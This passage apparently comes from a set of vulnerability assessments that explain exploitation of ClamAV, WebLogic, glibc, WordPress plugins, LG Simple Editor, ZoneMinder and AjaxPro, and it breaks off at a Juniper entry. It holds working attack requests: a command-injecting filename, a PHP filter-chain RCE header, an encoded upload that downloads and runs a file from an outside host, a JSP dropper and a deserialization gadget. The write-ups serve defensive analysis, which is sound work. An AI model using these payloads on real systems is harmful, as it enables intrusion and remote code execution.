        while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue;
    } else {
        logg(LOGG_ERROR, "VirusEvent: fork failed.\n");
    if (path)


The main purpose of the virusaction function is to handle a virus event as defined by the conf file discussed earlier. The function accepts a filename and a virname (virusname) and its output is a virus alert which is a command run by the following line of code:

  _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));

As we can control the inputs to the buffer_cmd command injection is trivial.


If clamd.conf is configured to run an echo command when a VirusEvent is detected, like so:

VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"

Then the following file name will cause the whoami command to be executed and the output of the command will be redirected to stdout as defined by the VirusEvent.

echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout

Then we can see the whoami command being executed in the following output:

VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path



Technical Analysis


In early 2023 a vulnerability was found in the Oracle WebLogic IIOP/T3 protocol. When the IIOP/T3 protocol is enabled, unauthenticated attackers are able to execute arbitrary commands on the system. The vulnerability’s sink point was the following class weblogic.deployment.jms.ForeignOpaqueReference.class which contains a function getReferent which calls the following code:

try {
	var5 = var4.lookup(this.remoteJNDIName);

This allows the attacker to initiate a JNDI injection attack by hosting malicious code on their own JNDI server to be downloaded and run by WebLogic. However, due to mitigations put in place by Java this JNDI injection technique used by the exploit is only exploitable on WebLogic Server running older versions of Java.

In the last few years Oracle has applied several restrictions that aimed to prevent attackers from exploiting JNDI Injection vulnerabilities. One example of such restriction is the trustURLCodebase property which was introduced in Java Development Kit 8 – Update 121. This property prevents vulnerable applications from loading malicious objects from remote RMI repositories. Later, a similar restriction was added also to cover LDAP repositories.

Since those restrictions were added, exploiting JNDI Injection vulnerabilities now depends on existing gadgets, which means the classes used in the exploit must reside in the vulnerable application class path for the exploit to work.


In the January 2024 patch released by Oracle, a remote command execution vulnerability CVE-2024-20931 based on the Weblogic T3\IIOP protocol was fixed. This vulnerability still exploits the getReferent function inside weblogic.deployment.jms.ForeignOpaqueReference.class but it bypasses the patch put in place by CVE-2023-21839. It does this by setting the malicious JNDI url to the environment variable java.naming.provider.url:

String providerURL = (String) this.jndiEnvironment.get("java.naming.provider.url");

which gets initialized after getReferent is called and allows for this JNDI injection to be exploited in an alternate manner.


This vulnerability has the same Java version limitations of its predecessor. In order for the WebLogic Server to be vulnerable it must be running Java <= 1.8.0_151. Given that this version of java is over six years old, the attacker value of this unauthenticated RCE vulnerability is quite low.



Technical Analysis

The Backup Migration Wordpress plugin describes itself as an all in one solution if you need to migrate your WordPress site to another host or just restore the site from a backup. The plugin is quite popular with over 80,000 active installs. Versions 1.3.7 and earlier suffer from an unauthenticated remote code execution vulnerability. The vulnerability is exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

Inside /includes/backup-heart.php we can see all the headers of the request get loaded into the $fields variable:

 31   // Get fields from header
 32   if (isFunctionEnabled('getallheaders')) {
 33     $fields = getallheaders();
 34   }

Later on in the file we see the value of the user controlled content-dir header is loaded into the BMI_ROOT_DIR variable.

 62   define('BMI_ROOT_DIR', $fields['content-dir']);

Then BMI_INCLUDES gets defined as BMI_ROOT_DIR . 'includes'

 64   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

And finally the user controlled variable which is now BMI_INCLUDES gets fed into a require_once statement.

118     require_once BMI_INCLUDES . '/bypasser.php';

Now you might be thinking – a user controlled variable being fed into a require statement? Sounds like a Local File Inclusion vulnerability. You would be correct if it weren’t for a very neat technique called PHP Filter Chaining.

PHP Filter Chaining

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. The php://filter target has one required parameter which is resource and it specifies the stream that you would like to filter. For the purposes of PHP filter chaining we can set the resource to resource=php://temp as we’re not actually interested in filtering any specific stream we just want to abuse the functionality of PHP filters.

There are thousands of languages throughout the world and our basic ASCII encoding table is far too small to represent all the characters used to express all of these different languages. So many encoding tables were created to convert or translate characters from one language to another. These conversion tables are also accessible through php://convert.iconv.*.* wrappers.

The key to PHP filter chaining is that in some cases byte signatures are prepended by switching encoding. These signatures do not get removed from the string when you switch encoding a second time, they stack. In the case of Unicode (UTF-16), it is required to give to your system the order of the bytes to use (Byte Order Mark BOM), by digging a bit in the RFC 2781 referring to it:

The Unicode Standard and ISO 10646 define the character “ZERO WIDTH
NON-BREAKING SPACE” (0xFEFF), which is also known informally as “BYTE
ORDER MARK” (abbreviated “BOM”).This usage, suggested by Unicode
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character
to a stream of Unicode characters as a “signature”; a receiver of such
a serialized stream may then use the initial character both as a hint
that the stream consists of Unicode characters and as a way to recognize
the serialization order.

The technique was first introduced by a Computer Security enthusiast by the name of Gynvael Coldwind and since the introduction of the technique people have figured out how to chain encoding switches to prepend every letter in the base64 character set. We’re able to base64 decode the string using the php filter convert.base64-decode so the base64 character set is all we need to know how to convert. Here is an excerpt from the conversion table:

            "A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
            "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
            "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
            "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
            "C" => "convert.iconv.UTF8.CSISO2022KR",
            "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",

If wish to prepend the character “A” to your string you simply need to chain these two filter conversion together: "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213.

Turning the LFI in RCE

Now we can use the conversion table to prepend a PHP payload to the start of the of the string that gets interpreted by the require_once statement on line 118 of
/includes/backup-heart.php. The Content-Dir header becomes very long and is subject to length HTTP request header length restrictions, however we are still able to send relatively small payloads such as <?phpecho>/tmp/pwned;?>. The following POST request will send the aforementioned payload:

POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Content-Dir: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



Technical Analysis

This is a privilege escalation vulnerability in the dynamic loader of glibc. GLIBC_TUNABLES is an environment variable which contains a colon separated set of switches that allow the user to tweak how glibc runs without having to recompile the binary. Example of how to properly set the environment variable:


When the GLIBC_TUNABLES environment variable is parsed in vulnerable versions, we can cause a buffer overflow by setting:


Taking a look at glibc source code we can see why this works; the key is the absence of the colon in the above example and how that is handled at lines 203-204:

// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
168   char *p = tunestr;
169   size_t off = 0;
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
197       p += len + 1;
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
211           if (tunable_is_name (cur->name, name))
212             {
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
226                       const char *n = cur->name;
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
231                       tunestr[off++] = '=';
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

In the initial loop of “while (true)” within parse_tunables() (at lines 221-235), the entire “tunable1=tunable2=AAA” gets copied directly into tunestr, effectively filling it up. Moving to lines 247-248, p remains unchanged (as p[len] is ‘\0’ due to the absence of ‘:’ at lines 203-204), hence still referencing the value of “tunable1,” specifically “tunable2=AAA.” As the second loop of “while (true)” in parse_tunables() executes, “tunable2=AAA” gets added (as if it were another parameter) to tunestr, which is already at maximum capacity, resulting in a tunestr overflow. This can be used to invoke a SUID binary which will then, if we’re lucky, invoke the shell code we’ve overflowed onto the stack.

Attacker Value & Exploitability

There were a wide range of linux distributions that shipped with the affected glibc library. However to exploit each distribution you need to determine a specific “magic” offset in order for the buffer overflow to result in RCE. The original PoC shipped with tooling for users to determine this magic offset when ASLR was disabled, however it wasn’t working for Fedora, RedHat, Amazon Linux, Gentoo and a couple others I tested. Due to the low level complexity of the vuln the PoC likely needed some massaging in order to exploit those distros.

Because ASLR is enabled by default, you need to loop over the exploit many times in order for it to be successful. You have approximately a 1/2700 chance of the exploit being successful every time you attempt to exploit it. You can easily loop over exploit attempts quickly so that part doesn’t affect exploitability too much though does add a significant wait time for the exploit to be successful.

By default Ubuntu patches this vuln automatically as a part of the Automatic Security Updates, so you do have to go out of your way to set up a vulnerable instance.

Technical Analysis

The Royal Elementor Addons and Templates WordPress plugin provides themes and templates to make your WordPress site aesthetically pleasing with little effort. With over 200,000 installations it is quite popular making it a fantastic target for opportunistic attackers.

Versions prior to 1.3.79 are vulnerable to a file upload vulnerability which results in code execution as the user running the WordPress site. Once a WordPress site is configured to use the Addon the following action wpr_addons_upload_file listens for input on the /wp-admin/admin-ajax.php endpoint and is envokeable via a POST request. The action is accessible without authentication and fails to properly sanitize incoming file types. The endpoint won’t allow you to upload the .php file type however if you upload a PHP payload with the filetype .ph$p it bypasses the sanitization mechanism and allows you to drop a payload on the target.

Exploitation of the vulnerability is demonstrated in the following POST request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.docksal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Content-Type: multipart/form-data; boundary=---------------------------612499444778935602855148342223
Content-Length: 1078

Content-Disposition: form-data; name="uploaded_file"; filename="WmrRA8wI.ph$p"
Content-Type: application/octet-stream

<?php system(base64_decode('Y3VybCAtc28gLi92RVNIVllzd0p2dyBodHRwOi8vMTcyLjE2LjE5OS4xMzc6ODA4MC9rQW9vd3NKYnpVRER3X2FDbFg4RDhnOyBjaG1vZCAreCAuL3ZFU0hWWXN3SnZ3OyAuL3ZFU0hWWXN3SnZ3ICY='));?>
Content-Disposition: form-data; name="action"

Content-Disposition: form-data; name="max_file_size"

Content-Disposition: form-data; name="allowed_file_types"

Content-Disposition: form-data; name="triggering_event"

Content-Disposition: form-data; name="wpr_addons_nonce"


This has been actively exploited in the wild for a while now with the first signs of exploitation dating back to December 2019.


Malicious adversaries have been identified dropping reverse shells in the following two filenames:

b1ack.p$hp with md5sum: 1635f34d9c1da30ff5438e06d3ea6590
wp.ph$p with md5sum: ​​bac83f216eba23a865c591dbea427f22

That being said, I would be suspicious of any .ph$p file if the Royal Elementor Addons and Template plugin was being used in my WordPress site.

*Note: Updating the plugin to the patched version 1.3.79 won’t remove malicious payloads dropped by an attacker – so be sure to scan for unwanted footholds after patching.

The majority of the attacks appear to be coming from the following three IP Addresses:


Attacker Value and Exploitation

  • This is super easy to exploit.
  • It’s an unauth RCE in an internet facing application with +200,000 active installations (it’s a big deal)
  • Exploited in the wild
  • The only reason I’d give it a 4/5 for Attack Value is because it doesn’t give privileged access.
Technical Analysis

LG Simple Editor is a solution that enables you to create and distribute content easily and quickly by using templates. LG Simple Editor is recommended for small businesses and sports bars which require simple content display or play-on-air via their signage. It enables easy new content creation by simplifying processes, and immediate playback on signage. Version prior to v3.21 suffer from two vulnerability specifically a broken access control and directory traversal that result in remote code execution in the context of NT AUTHORITY \SYSTEM

Vulnerable Versions

  • <= v3.21

Attacker Value & Exploitability

This exploit scores 5/5 in both categories primarily due to the fact the exploit provides unauthenticated remote code execution in the context of NT AUTHORITY \SYSTEM. Other contributing factors are of course how it is vulnerable straight out of the box and how easy it is to exploit. It might not be as common in enterprise by nature of the product description above however I don’t think that should affect either of these ratings.

How it works

First start by exploiting the broken access control vulnerability (which at the time of writing does not have a CVE – it could be considered a feature). The endpoint /simpleeditor/imageManager/uploadImage.do will allow you to upload a file with the .bmp file extension of which the contents are not inspected thoroughly. In order to obtain remote code execution we can upload a malicious .jsp under the disguise of a .bmp file extension. The following .jsp payload (used by the metasploit module windows/http/lg_simple_editor_rce) first base64 decodes the raw bytes of a malicious executable, then writes the executable to a file, then runs the executable with Runtime.getRuntime().exe.

POST /simpleeditor/imageManager/uploadImage.do HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 Edg/117.0.2045.47
Content-Type: multipart/form-data; boundary=---------------------------761960311879735919883545313592
Content-Length: 99894

Content-Disposition: form-data; name="uploadFile"; filename="SyouN.bmp"
Content-Type: image/bmp
Content-Transfer-Encoding: binary

    <%@page import="java.io.*" %>    <%@page import="sun.misc.BASE64Decoder"%>    <%    try {      String cXaet = "

    <<binary payload base64 encoded>> 

    ";      BASE64Decoder dHhlo = new BASE64Decoder();      byte[] aHZZzH = dHhlo.decodeBuffer(cXaet.toString());      File eplNCoYo = File.createTempFile("OXvZEnQ", ".exe");      String fbhUvbGUQZA = eplNCoYo.getAbsolutePath();      BufferedOutputStream bghnAwAsukY =        new BufferedOutputStream(new FileOutputStream(fbhUvbGUQZA));      bghnAwAsukY.write(aHZZzH);      bghnAwAsukY.close();      Process eVsTEolPjY = Runtime.getRuntime().exec(fbhUvbGUQZA);    } catch (Exception e) {    }    %>
Content-Disposition: form-data; name="uploadPath"

Content-Disposition: form-data; name="uploadFile_x"

Content-Disposition: form-data; name="uploadFile_y"

Content-Disposition: form-data; name="uploadFile_width"

Content-Disposition: form-data; name="uploadFile_height"


Now we can exploit the vulnerability that is tied to CVE-2023-40498. The /simpleeditor/fileSystem/makeDetailContent.do endpoint allows unauthenticated users to copy files on the filesystem with no directory traversal mitigations in place. So we can copy our malicious .bmp file to a file with the extension .jsp so we can execute it (ezpz some might say). This can be achieved by issuing the following POST request:

POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 Edg/117.0.2045.47
X-Requested-With: XMLHttpRequest
Accept: application/json
Content-Type: application/json
Content-Length: 86


The payload we uploaded is now in an executable file format in a directory accessible without authentication.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

ZoneMinder is a free, open source Closed-circuit television software application. At the time of writing there appears to be just over 3200 identifiable instances listening on the internet according to the following crude Shodan query:

shodan count "http.html:\"<title>ZM - Login</title>\" http.html:\"/zm/\""

ZoneMinder prior to the versions listed below suffer from an unauthenticated remote code execution vulnerability in default configuration. The vulnerability is trivial to execute and provides a valuable entry point for attackers.

Vulnerable Versions

Prior to 1.36.33
Prior to 1.37.33

How it works

By default on affected versions unauthenticated users can access the create snapshot action when accessing the following endpoint /zm/index.php. The following is an excerpt from snapshot.php

if ( $action == 'create' ) {
  if ( ! (isset($_REQUEST['monitor_ids']) and count($_REQUEST['monitor_ids']) > 0 ) ) {
    ZM\Error('No monitor ids given in snapshot creation request');
  $snapshot = new ZM\Snapshot();

The snapshot action expects a monitor_id in order to fetch an existing monitor, however you can pass an object in order to create a new monitor instead (we will actually pass in a malicious payload here). Soon after the method TriggerOn(); is called in order to retrieve an event_id:

    $event_id = $monitor->TriggerOn();
    ZM\Debug("Have event $event_id for monitor $monitor_id");

TriggerOn() immediately calls the function AlarmCommand($cmd):

  function TriggerOn() {
    $output = $this->AlarmCommand('on');

Inside AlarmCommand a call to shell_exec is made and it appends the monitor_id we sent earlier without applying any sanitization to the parameter:

      $cmd = getZmuCommand($cmd.' -m '.validCardinal($this->{'Id'}));
      $output = shell_exec($cmd);

Exploiting the vuln.

Note that in order to exploit this vulnerability you have to first grab a csrf-token from the response body of a request to /zm/index.php:

<div class="container">
		<form class="center-block" name="loginForm" id="loginForm" method="post" action="?view=login"><input type='hidden' name='__csrf_magic' value="key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789" />
			<input type="hidden" name="action" value="login"/>
      <input type="hidden" name="postLoginQuery" value="" />

In the above example the token is 1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789. With that information you can then send the following post request to a vulnerable target in order to write a file to the temp directory:

POST /zm/index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 Edg/117.0.2045.47
Content-Type: application/x-www-form-urlencoded
Content-Length: 268


If you want to shell, edit the post request or use the metasploit module: unix/webapp/zoneminder_snapshots



  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Technical Analysis

Ajax.NET Professional better known as AjaxPro is an AJAX framework available for Microsoft ASP.NET. At the time of discovery of this deserialization RCE vulnerability, there were approximately 30,000 instances of AjaxPro in use. “Woah, scary! So many vulnerable instances” one might say, however do not be alarmed, this vulnerability is quite difficult to exploit.

Vulnerable versions (versions prior to contain example classes which demonstrate how you might implement the functionality of AjaxPro. These classes are not actually used by the framework. However one class in particular, the “ICartService” demonstrates how to construct a configuration which is vulnerable to this deserialization vulnerability.

 1 namespace AjaxPro.Services
 3	[AjaxNamespace("AjaxPro.Services.Cart")]
 4	public abstract class ICartService
 5	{
 6        /// <summary>
 7        /// Adds the item.
 8        /// </summary>
 9        /// <param name="cartName">Name of the cart.</param>
10        /// <param name="item">The item.</param>
11        /// <returns></returns>
12		[AjaxMethod]
13		public abstract bool AddItem(string cartName, object item);
15        /// <summary>
16        /// Gets the items.
17        /// </summary>
18        /// <param name="cartName">Name of the cart.</param>
19        /// <returns></returns>
20		[AjaxMethod]
21		public abstract object[] GetItems(string cartName);
22	}

If this example were to be hosted by the application it would allow us to gain remote code execution by sending the following get request:

POST /ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
X-AjaxPro-Method: AddItem
Content-Type: text/plain; charset=utf-8
Content-Length: 4670

{"item":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo":{"__type":"System.Diagnostics.ProcessStartInfo, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd","Arguments":"/c powershell.exe <insert payload here>"}}}}

It is important to note what parameters in the codebase the attacker needs to be privy to in order to exploit this vulnerability as it is unlikely an origination would go out of its way to host this specific example. In order to exploit the attacker needs to know:

  1. The Namespace, which is hosting the vulnerable Ajax Method.
  2. The Method name, which is sent in the X-AjaxPro-Method header.
  3. The Object name, which contains the payload that gets passed to the vulnerable deserialization.

Every vulnerable instance of AjaxPro will implement the three above parameters differently depending on what the application designed to do, unless of course the developers lazily copy and pasted this example without changing a thing which is possible. Take for example, this application which was built by @numanturle specifically for demonstrating this vulnerability:

namespace CVE_2021_23758_POC
    public partial class demo : System.Web.UI.Page
        protected void Page_Load(object sender, EventArgs e)

        public static String TestAjax(Object obj)
            UserInfo u = obj as UserInfo;
            return u.Name;

See how the Namespace (CVE_2021_23758_POC), Method (TestAjax) and Object (obj) are all different and application specific. This vulnerability is not feasibly exploitable from a black box perspective, you need information about how the vulnerable code has been implemented – this is reflected in the Attacker Value and exploitability ratings.



Technical Analysis

This might be the most impactful CVSSv3 5.3 rated vulnerability you’ve ever (or never) heard about. The vulnerability affects Juniper’s SRX Firewalls and EX Switches and allows unauthenticated attackers to change environment variables resulting in remote code execution as the nobody user. I’m going to briefly go over the evolution of the research of this vulnerability as I found it interesting.

CVE-2023-36844 + CVE-2023-36845

